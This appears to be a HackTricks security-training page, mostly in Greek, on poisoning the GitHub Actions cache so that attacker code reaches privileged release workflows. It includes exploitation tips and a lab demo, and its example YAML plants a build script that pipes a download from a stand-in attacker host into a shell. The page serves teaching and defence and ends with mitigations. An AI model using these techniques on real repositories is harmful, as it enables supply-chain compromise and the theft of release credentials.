GH Actions - Cache Poisoning

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Επισκόπηση

Το GitHub Actions cache είναι παγκόσμιο για ένα αποθετήριο. Οποιοδήποτε workflow γνωρίζει ένα cache keyrestore-keys) μπορεί να γεμίσει αυτήν την καταχώρηση, ακόμη και αν το job έχει μόνο permissions: contents: read. Το GitHub δεν διαχωρίζει τα cache ανά workflow, τύπο event, ή επίπεδο εμπιστοσύνης, οπότε ένας επιτιθέμενος που παραβιάζει ένα low-privilege job μπορεί να δηλητηριάσει ένα cache που ένα privileged release job θα επαναφέρει αργότερα. Έτσι η παραβίαση της Ultralytics μεταπήδησε από ένα pull_request_target workflow στην PyPI publishing pipeline.

Βασικά στοιχεία της επίθεσης

  • actions/cache εκθέτει τόσο λειτουργίες restore όσο και save (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). Το save call επιτρέπεται για οποιοδήποτε job εκτός από πραγματικά μη αξιόπιστα pull_request workflows που πυροδοτούνται από forks.
  • Οι καταχωρήσεις cache ταυτοποιούνται αποκλειστικά από το key. Ευρείς restore-keys διευκολύνουν την έγχυση payloads επειδή ο επιτιθέμενος χρειάζεται μόνο να συγκρουστεί με ένα prefix.
  • Τα cache keys και οι versions είναι τιμές που ορίζει ο client· η υπηρεσία cache δεν επαληθεύει ότι ένα key/version αντιστοιχεί σε ένα trusted workflow ή σε ένα cache path.
  • Το cache server URL + runtime token έχουν μεγαλύτερη διάρκεια ζωής σε σχέση με το workflow (ιστορικά ~6 ώρες, τώρα ~90 λεπτά) και δεν είναι ανακλητά από τον χρήστη. Από τα τέλη του 2024 το GitHub μπλοκάρει cache writes μετά την ολοκλήρωση του αρχικού job, οπότε οι επιτιθέμενοι πρέπει να γράψουν ενώ το job τρέχει ακόμα ή να pre-poison μελλοντικά keys.
  • Το cached filesystem επαναφέρεται verbatim. Εάν το cache περιέχει scripts ή binaries που εκτελούνται αργότερα, ο επιτιθέμενος ελέγχει την πορεία αυτής της εκτέλεσης.
  • Το ίδιο το cache file δεν επαληθεύεται κατά το restore· είναι απλώς ένα zstd-compressed archive, οπότε μια δηλητηριασμένη καταχώρηση μπορεί να αντικαταστήσει scripts, package.json, ή άλλα αρχεία κάτω από το restore path.

Παράδειγμα αλυσίδας εκμετάλλευσης

Author workflow (pull_request_target) poisoned the cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Prileged workflow αποκαταστάθηκε και εκτέλεσε την poisoned cache:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

Το δεύτερο job τώρα τρέχει attacker-controlled code ενώ κατέχει release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).

Poisoning mechanics

Οι cache entries του GitHub Actions είναι τυπικά zstd-compressed tar archives. Μπορείς να δημιουργήσεις ένα τοπικά και να το ανεβάσεις στην cache:

tar --zstd -cf poisoned_cache.tzstd cache/contents/here

On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, action.yml, package.json, etc.), you can overwrite them to gain execution.

Πρακτικές συμβουλές εκμετάλλευσης

  • Στοχεύστε workflows που ενεργοποιούνται από pull_request_target, issue_comment ή εντολές bot που εξακολουθούν να αποθηκεύουν caches· το GitHub τους επιτρέπει να αντικαθιστούν κλειδιά σε όλο το repository ακόμα και όταν ο runner έχει μόνο δικαίωμα ανάγνωσης στο repo.
  • Αναζητήστε καθοριστικά cache keys που επαναχρησιμοποιούνται πέρα από όρια εμπιστοσύνης (για παράδειγμα, pip-${{ hashFiles('poetry.lock') }}) ή permissive restore-keys, και αποθηκεύστε το κακόβουλο tarball σας προτού τρέξει το privileged workflow.
  • Παρακολουθήστε τα logs για εγγραφές Cache saved ή προσθέστε το δικό σας cache-save step ώστε η επόμενη release job να αποκαταστήσει το payload και να εκτελέσει τα trojanized scripts ή binaries.

Νεότερες τεχνικές που παρατηρήθηκαν στην αλυσίδα Angular (2026)

  • Cache v2 “prefix hit” behavior: Στην Cache v2, ένα exact miss μπορεί ακόμα να αποκαταστήσει μια άλλη εγγραφή που μοιράζεται το ίδιο key prefix (ουσιαστικά “all keys are restore keys”). Επιτιθέμενοι μπορούν να προ-σπείρουν near-collision keys έτσι ώστε ένα μελλοντικό miss να πέσει πίσω στο poisoned αντικείμενο.
  • Forced eviction in one run: Από τις 20 Νοεμβρίου 2025, το GitHub εκδιώκει εγγραφές αμέσως όταν η χρήση cache του repository υπερβαίνει το όριο (10 GB by default). Ένας attacker μπορεί πρώτα να ανεβάσει junk cache δεδομένα, να εκδιώξει νόμιμες εγγραφές στην ίδια job, και στη συνέχεια να γράψει το κακόβουλο cache key χωρίς να περιμένει τον ημερήσιο κύκλο καθαρισμού.
  • setup-node cache pivots via reusable actions: Reusable/internal actions που τυλίγουν actions/setup-node με cache-dependency-path μπορούν αθόρυβα να γεφυρώσουν low-trust και high-trust workflows. Αν και οι δύο διαδρομές καταλήγουν σε shared keys, το poisoning του dependency cache μπορεί να εκτελεστεί σε privileged automation (π.χ. Renovate/bot jobs).
  • Chaining cache poisoning into bot-driven supply chain abuse: Στην περίπτωση Angular, το cache poisoning αποκάλυψε ένα bot PAT, το οποίο στη συνέχεια ήταν χρήσιμο για force-push bot-owned PR heads μετά την έγκριση. Αν οι κανόνες approval-reset εξαιρούν bot actors, αυτό επιτρέπει την αντικατάσταση reviewed commits με κακόβουλα (π.χ. imposter action SHAs) πριν το merge.

##å Cacheract

Cacheract είναι ένα PoC-focused toolkit για GitHub Actions cache poisoning σε εξουσιοδοτημένες δοκιμές. Η πρακτική αξία είναι ότι αυτοματοποιεί τα εύθραυστα μέρη που είναι εύκολο να γίνουν λάθος χειροκίνητα:

  • Εντοπίζει και χρησιμοποιεί το runtime cache context από τον runner (ACTIONS_RUNTIME_TOKEN and cache service URL).
  • Καταγράφει και στοχεύει υποψήφια cache keys/versions που χρησιμοποιούνται από downstream workflows.
  • Εξαναγκάζει eviction με το να γεμίσει το cache quota (όταν εφαρμόζεται) και μετά γράφει attacker-controlled entries στην ίδια εκτέλεση.
  • Σπέρνει poisoned cache content ώστε μετέπειτα workflows να αποκαταστήσουν και να εκτελέσουν τροποποιημένα tooling.

Αυτό είναι ιδιαίτερα χρήσιμο σε περιβάλλοντα Cache v2 όπου το timing και η συμπεριφορά key/version έχουν μεγαλύτερη σημασία απ’ ό,τι στις πρώιμες υλοποιήσεις cache.

Demo

Χρησιμοποιήστε το αυτό μόνο σε repositories που κατέχετε ή σας έχει δοθεί ρητά άδεια να δοκιμάσετε.

1. Vulnerable workflow (untrusted trigger can save cache)

Αυτό το workflow προσομοιώνει ένα pull_request_target anti-pattern: γράφει cache περιεχόμενο από attacker-controlled context και το αποθηκεύει υπό ένα deterministic key.

name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]

permissions:
contents: read

jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

2. Προνομιούχο workflow (restores and executes cached binary/script)

Αυτό το workflow ανακτά το ίδιο key και εκτελεί το toolchain/bin/build ενώ κατέχει ένα dummy secret. Εάν έχει μολυνθεί, η διαδρομή εκτέλεσης είναι υπό τον έλεγχο του attacker.

name: privileged-consumer
on:
workflow_dispatch:

permissions:
contents: read

jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"

3. Run the lab

  • Πρόσθεσε ένα σταθερό toolchain.lock file ώστε και τα δύο workflows να επιλύουν το ίδιο cache key.
  • Ενεργοποίησε untrusted-cache-writer από ένα test PR.
  • Ενεργοποίησε privileged-consumer μέσω workflow_dispatch.
  • Επιβεβαίωσε ότι POISONED_BUILD_PATH εμφανίζεται στα logs και ότι /tmp/cache-poisoning-demo.txt δημιουργείται.

4. What this demonstrates technically

  • Cross-workflow cache trust break: Τα writer και consumer workflows δεν μοιράζονται το ίδιο επίπεδο εμπιστοσύνης, αλλά μοιράζονται το ίδιο cache namespace.
  • Execution-on-restore risk: Δεν εκτελείται έλεγχος ακεραιότητας πριν από την εκτέλεση ενός ανακτηθέντος script/binary.
  • Deterministic key abuse: Εάν μια high-trust job χρησιμοποιεί προβλέψιμα keys, μια low-trust job μπορεί να τοποθετήσει εκ των προτέρων κακόβουλο περιεχόμενο.

5. Defensive verification checklist

  • Διαχωρίστε τα keys με βάση το trust boundary (pr-, ci-, release-) και αποφύγετε κοινά prefixes.
  • Απενεργοποιήστε τις εγγραφές cache σε untrusted workflows.
  • Κάντε hash/επαλήθευση του ανακτηθέντος εκτελέσιμου περιεχομένου πριν το εκτελέσετε.
  • Αποφύγετε την εκτέλεση εργαλείων απευθείας από cache paths.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks